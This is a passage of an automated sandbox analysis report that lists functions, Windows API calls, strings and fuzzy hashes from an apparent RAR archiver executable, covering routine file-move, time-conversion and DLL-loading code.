Opcode Fuzzy Hash: 18e8202548affe00674286321b5f124759c48e138fb2ddf063aaae7488dbebd7
Instruction Fuzzy Hash: B002B022B0A682E5EA27DA2191453FE6352EF49780F4400B7DA8EC7792DE7DEC47C701

Function 00007FF6AA1A1634 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32 ref: 00007FF6AA1A1694
GetShortPathNameW.KERNEL32 ref: 00007FF6AA1A16B5

Part of subcall function 00007FF6AA1CDAC0: CompareStringW.KERNEL32(?,?,?,?,?,?,00007FF6AA1B4C1E,?,?,?,?,?,?,?,00007FF6AA1D9706), ref: 00007FF6AA1CDADF

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA1A175F
MoveFileW.KERNEL32 ref: 00007FF6AA1A17CD
MoveFileW.KERNEL32 ref: 00007FF6AA1A1815

Strings

rtmp%d, xrefs: 00007FF6AA1A1755

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: FileMoveNamePath$CompareLongShortStringswprintf
String ID: rtmp%d
API String ID: 2308737092-3303766350
Opcode ID: de0bcd3fdd60b8f1859e4975922cee0e0ab7dbe13660142ab9f58961243ff5d4
Instruction ID: 93261ee3b625b85754c4a3d14f33d427e9f641085e3deb7516f2af7229279447
Opcode Fuzzy Hash: de0bcd3fdd60b8f1859e4975922cee0e0ab7dbe13660142ab9f58961243ff5d4
Instruction Fuzzy Hash: 25519022A1A5D6E4EA72AF21D8011FD6351BF40BC4F455177D94DCBA9ADE3CEE0AC300

Function 00007FF6AA1CB650 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32 ref: 00007FF6AA1CB66A
CloseHandle.KERNEL32 ref: 00007FF6AA1CB685
CreateEventW.KERNEL32 ref: 00007FF6AA1CB699
GetLastError.KERNEL32 ref: 00007FF6AA1CB6A6
CloseHandle.KERNEL32 ref: 00007FF6AA1CB6C0

Strings

rar -ioff, xrefs: 00007FF6AA1CB65C, 00007FF6AA1CB68B

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CloseCreateEventHandle$ErrorLast
String ID: rar -ioff
API String ID: 4151682896-4089728129
Opcode ID: 1b32cc9a5b3853ccf39725862a0ac8b7945a78bb0f3e0147b511bdfad103efab
Instruction ID: d020374f489242e1f44c3aae2a8b8c856c14b486015e945f7777a3879e580c92
Opcode Fuzzy Hash: 1b32cc9a5b3853ccf39725862a0ac8b7945a78bb0f3e0147b511bdfad103efab
Instruction Fuzzy Hash: 2301D128E2FA57E2FB56DF71E9901382361AF45701F4884BBD80EC22A0DE3C6C4B8604

Function 00007FF6AA1CB470 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6AA1CB488
GetProcAddress.KERNEL32 ref: 00007FF6AA1CB4A0
GetProcAddress.KERNEL32 ref: 00007FF6AA1CB4D5

Strings

SetDefaultDllDirectories, xrefs: 00007FF6AA1CB4CB
SetDllDirectoryW, xrefs: 00007FF6AA1CB496
kernel32, xrefs: 00007FF6AA1CB481

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: SetDefaultDllDirectories$SetDllDirectoryW$kernel32
API String ID: 667068680-1824683568
Opcode ID: 8cf5c4d02fd6faa15582d92511ad3bd01355bb3a29212f000fb48e6594ec6bc8
Instruction ID: f4392e3d0bebe39c0cadeba7aad94156288d72b98eae979b35fb8376bd3350f9
Opcode Fuzzy Hash: 8cf5c4d02fd6faa15582d92511ad3bd01355bb3a29212f000fb48e6594ec6bc8
Instruction Fuzzy Hash: 93F01225B0A7C6E1E946DB11F8540795360AF49BC0B48507BED1E87764EE6CED46C300

Function 00007FF6AA1E1ADC Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 488COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6AA1E1B14
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6AA1E1E39
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6AA1E20BE

Strings

+, xrefs: 00007FF6AA1E1B96
-, xrefs: 00007FF6AA1E1B8B

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: +$-
API String ID: 3215553584-2137968064
Opcode ID: 6f396bf2fa0b9258a91da6205a77601ce69ace0f3c9f84e6f9ba191af742c055
Instruction ID: 4e46b49f1bf7532a80a4512348d80ec450fedc4e3837e4c1b8f8e61aa74bc50c
Opcode Fuzzy Hash: 6f396bf2fa0b9258a91da6205a77601ce69ace0f3c9f84e6f9ba191af742c055
Instruction Fuzzy Hash: E912B436E0A143E5FF369A1590546F96295FB22764FC84673D69EC3AC0DF2CEE928304

Function 00007FF6AA19E49C Relevance: 9.1, APIs: 6, Instructions: 148COMMON

Download Yara Rule

APIs

BackupRead.KERNEL32 ref: 00007FF6AA19E523
BackupRead.KERNEL32 ref: 00007FF6AA19E572
BackupSeek.KERNEL32 ref: 00007FF6AA19E5CB
BackupRead.KERNEL32 ref: 00007FF6AA19E641
BackupSeek.KERNEL32 ref: 00007FF6AA19E679
wcschr.LIBVCRUNTIME ref: 00007FF6AA19E6B4

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: Backup$Read$Seek$wcschr
String ID:
API String ID: 2092471728-0
Opcode ID: bf2be669b84e778a922cb721f987b286462bef24a2ee3b0e5ee0b4462bdc88cd
Instruction ID: 9870e5e2d15eb6fbf996de1b1cea73eb17055262154197dc0d9287d0db86b9e1
Opcode Fuzzy Hash: bf2be669b84e778a922cb721f987b286462bef24a2ee3b0e5ee0b4462bdc88cd
Instruction Fuzzy Hash: 5D519436609781D6EB71CF25E54056A77A5FB84B94F100236EA9D83BD8DF3DD846CB00

Function 00007FF6AA1CBC8C Relevance: 9.1, APIs: 6, Instructions: 113timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6AA1A6754: GetVersionExW.KERNEL32 ref: 00007FF6AA1A6785

FileTimeToLocalFileTime.KERNEL32 ref: 00007FF6AA1CBCEF
FileTimeToSystemTime.KERNEL32 ref: 00007FF6AA1CBCFB
SystemTimeToTzSpecificLocalTime.KERNEL32 ref: 00007FF6AA1CBD0B
SystemTimeToFileTime.KERNEL32 ref: 00007FF6AA1CBD19
SystemTimeToFileTime.KERNEL32 ref: 00007FF6AA1CBD27
FileTimeToSystemTime.KERNEL32 ref: 00007FF6AA1CBD68

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 783e0797a035659b3492376ae89a00853b2f1d30ad776eeab2f46d2c2c056a92
Instruction ID: cc792fe6b00af76986d0c79b04d037c1b1933ca57ea3961bbb60a0fad2ab8917
Opcode Fuzzy Hash: 783e0797a035659b3492376ae89a00853b2f1d30ad776eeab2f46d2c2c056a92
Instruction Fuzzy Hash: 2F5149B2B15655DAEB54CFB5D4805AC37B1FB08788B50403ADE0E97B58EE38E956CB00

Function 00007FF6AA1CC254 Relevance: 9.1, APIs: 6, Instructions: 81timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32 ref: 00007FF6AA1CC2B8

Part of subcall function 00007FF6AA1A6754: GetVersionExW.KERNEL32 ref: 00007FF6AA1A6785

LocalFileTimeToFileTime.KERNEL32 ref: 00007FF6AA1CC2DA
FileTimeToSystemTime.KERNEL32 ref: 00007FF6AA1CC2E6
TzSpecificLocalTimeToSystemTime.KERNEL32 ref: 00007FF6AA1CC2F6
SystemTimeToFileTime.KERNEL32 ref: 00007FF6AA1CC304
SystemTimeToFileTime.KERNEL32 ref: 00007FF6AA1CC312

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 41967c4cfece844e9e60fb7580ce40b35ceb9cc7a7776e0bae41eece92730556
Instruction ID: 9f38b388252a4c9fcc8a26f3cc34f716d8ce13f42c027591e3ecc1e7c735e76a
Opcode Fuzzy Hash: 41967c4cfece844e9e60fb7580ce40b35ceb9cc7a7776e0bae41eece92730556
Instruction Fuzzy Hash: 0F313862B15651DAEB01CFB4D8901AC3774FF08B48B54502BEE0E97A68EF38D996C314

Function 00007FF6AA1BEB40 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6AA1872C4: new.LIBCMT ref: 00007FF6AA1873DE

new.LIBCMT ref: 00007FF6AA1BEBB4

Strings

exe, xrefs: 00007FF6AA1BECDC
rebuilt., xrefs: 00007FF6AA1BECA3
sfx, xrefs: 00007FF6AA1BECC9
rar, xrefs: 00007FF6AA1BECF2

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID:
String ID: exe$rar$rebuilt.$sfx
API String ID: 0-13699710
Opcode ID: b327c31f0af7d37da6402c75e015e29487d24a11651d10baa52d84966eddba00
Instruction ID: 8689b3ab021dc8b8ec8822669e5406e16c8e88896c55f3f5fbb9634343fc70da
Opcode Fuzzy Hash: b327c31f0af7d37da6402c75e015e29487d24a11651d10baa52d84966eddba00
Instruction Fuzzy Hash: 50818221A0A682E5EA22EB25D4112F91792FF85784F4042B7D94D8B7CBDF6DEE07C340

Function 00007FF6AA1DE0C0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

abort.LIBCMT ref: 00007FF6AA1DE0F4
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6AA1DE1BC
RtlUnwindEx.KERNEL32 ref: 00007FF6AA1DE20B

Strings

f, xrefs: 00007FF6AA1DE13A
csm, xrefs: 00007FF6AA1DE1A2

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: CurrentImageNonwritableUnwindabort
String ID: csm$f
API String ID: 3913153233-629598281
Opcode ID: cb6d980e5d8e076ab593136caf69effa74300e2f691bd4e1b53b09370fd6a73c
Instruction ID: a5d08a77f05111895403c82670338dd948e49b8ca15788dd6440c10e1e3aaa44
Opcode Fuzzy Hash: cb6d980e5d8e076ab593136caf69effa74300e2f691bd4e1b53b09370fd6a73c
Instruction Fuzzy Hash: 9561DF36B0A242EAEB16DB25E444E7927D9FB44B85F148576DE0A87788DF38EC42C700

Function 00007FF6AA19EA18 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

GetFileSecurityW.ADVAPI32(?,00007FF6AA19EBC2), ref: 00007FF6AA19EA7C
GetFileSecurityW.ADVAPI32(?,00007FF6AA19EBC2), ref: 00007FF6AA19EABC
GetSecurityDescriptorLength.ADVAPI32(?,00007FF6AA19EBC2), ref: 00007FF6AA19EB0A

Strings

ACL, xrefs: 00007FF6AA19EB39
, xrefs: 00007FF6AA19EAE3

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: Security$File$DescriptorLength
String ID: $ACL
API String ID: 2361174398-1852320022
Opcode ID: 99ab71e5ccbbe398f237f971ffe9b39aed517989f3bcccf534b2133dda1e344d
Instruction ID: 74a5a5cfb84d7eee4d4e00aaccb69ed89a8ea762b6718a801e70f7b166e6da51
Opcode Fuzzy Hash: 99ab71e5ccbbe398f237f971ffe9b39aed517989f3bcccf534b2133dda1e344d
Instruction Fuzzy Hash: 2C318461A0AB81E1E721DB11E5503E963A5FF88784F844077DA8D8379ADF3CEA16C740

Function 00007FF6AA187188 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

CompareStringOrdinal.KERNEL32 ref: 00007FF6AA18722B

Part of subcall function 00007FF6AA1A6754: GetVersionExW.KERNEL32 ref: 00007FF6AA1A6785

GetModuleHandleW.KERNEL32(?,?,?,?,?,00007FF6AA1868EB), ref: 00007FF6AA1871CB
GetProcAddress.KERNEL32(?,?,?,?,?,00007FF6AA1868EB), ref: 00007FF6AA1871E0

Strings

kernel32.dll, xrefs: 00007FF6AA1871C4
CompareStringOrdinal, xrefs: 00007FF6AA1871D6

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: AddressCompareHandleModuleOrdinalProcStringVersion
String ID: CompareStringOrdinal$kernel32.dll
API String ID: 2522007465-2120454788
Opcode ID: 824e27df19e18241d1aa3afc9b2dae14d8d279d2568df75994383969d477b6a0
Instruction ID: 520feca61e1320640884c9c327fde26b8fb6366a6ede0e2de6962dd04ea6d59a
Opcode Fuzzy Hash: 824e27df19e18241d1aa3afc9b2dae14d8d279d2568df75994383969d477b6a0
Instruction Fuzzy Hash: 04219221A0F682D5E6529B51A94017862E2BF54BC0F5841B7EE5DC3A98EF2CED4B8300

Function 00007FF6AA1CBE3C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6AA1CBC8C: FileTimeToLocalFileTime.KERNEL32 ref: 00007FF6AA1CBCEF
Part of subcall function 00007FF6AA1CBC8C: FileTimeToSystemTime.KERNEL32 ref: 00007FF6AA1CBD68

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA1CBEAE
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA1CBED8

Strings

????-??-?? ??:??, xrefs: 00007FF6AA1CBEDF
%u-%02u-%02u %02u:%02u:%02u,%09u, xrefs: 00007FF6AA1CBE80
%u-%02u-%02u %02u:%02u, xrefs: 00007FF6AA1CBEB8

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: Time$File$swprintf$LocalSystem
String ID: %u-%02u-%02u %02u:%02u$%u-%02u-%02u %02u:%02u:%02u,%09u$????-??-?? ??:??
API String ID: 1364621626-1794493780
Opcode ID: c631e38674febfb764440a3499547548297e94e1d6d8b8a415d39587179a0b79
Instruction ID: 84ede4716b8cb6ded8cb4cb0c9bc224d836621c095a71310241ff7a8fdab1a11
Opcode Fuzzy Hash: c631e38674febfb764440a3499547548297e94e1d6d8b8a415d39587179a0b79
